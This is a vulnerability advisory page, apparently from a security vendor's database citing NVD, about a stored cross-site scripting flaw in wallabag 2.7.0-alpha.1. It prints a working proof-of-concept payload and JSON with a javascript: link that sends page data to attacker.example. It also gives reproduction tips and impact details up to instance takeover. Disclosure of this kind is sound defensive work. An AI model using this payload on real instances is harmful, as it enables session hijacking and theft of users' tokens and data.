
PEACH
Un cadre d’isolation des locataires
wallabag 2.7.0-alpha.1 lets all data-* attributes through its HTML sanitizer (htmLawed) and renders entry content with |raw. Stimulus treats those attributes as component configuration, so attacker-authored content can instantiate the annotations controller with attacker-controlled URLs. The annotation JSON supplies links[].href, which annotator writes into the viewer without scheme validation; a javascript: link runs in the victim's session on click.
Affected: 2.7.0-alpha.1 and master (2.7.0-dev). 2.6.x is not affected: it has no Stimulus. Chain:
<div data-controller="annotations" data-annotations-entry-id-value="1" data-annotations-search-url-value="https://attacker.example/c"> <p>View the original webpage for this article</p> </div> 3. https://attacker.example/c returns, with Access-Control-Allow-Origin: *: {"rows":[{"id":1, "ranges":[{"start":"/p[1]","startOffset":0,"end":"/p[1]","endOffset":36}], "links":[{"rel":"alternate","type":"text/html", "href":"javascript:void(document.title='XSS_OK',(new Image()).src='https://attacker.example/x?d='+encodeURIComponent(document.title))"}], "text":"View the original webpage"}]} 4. Open /view/{id}. The page requests /c?entry=1, highlights the text; hover it and click "View as webpage". 5. Observed: request to /c, then document.title = XSS_OK and GET /x?d=XSS_OK. Notes: ranges must point to an element (/p[1]), not a text node; offsets are text offsets. Use https endpoints when the instance is https. For the full fetch path, use a public attacker host; 2.7 blocks private/reserved addresses.
Same-origin script execution in the victim's wallabag session: read all entries and annotations, read /config (RSS/OPDS tokens in cleartext), create/delete annotations and tokens. If the victim is a superadmin: read /settings and /users, create users, edit other users -> practical instance takeover. Requires saving the attacker page and one click; HttpOnly cookies are not exposed, but same-origin reads are sufficient.
Source: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."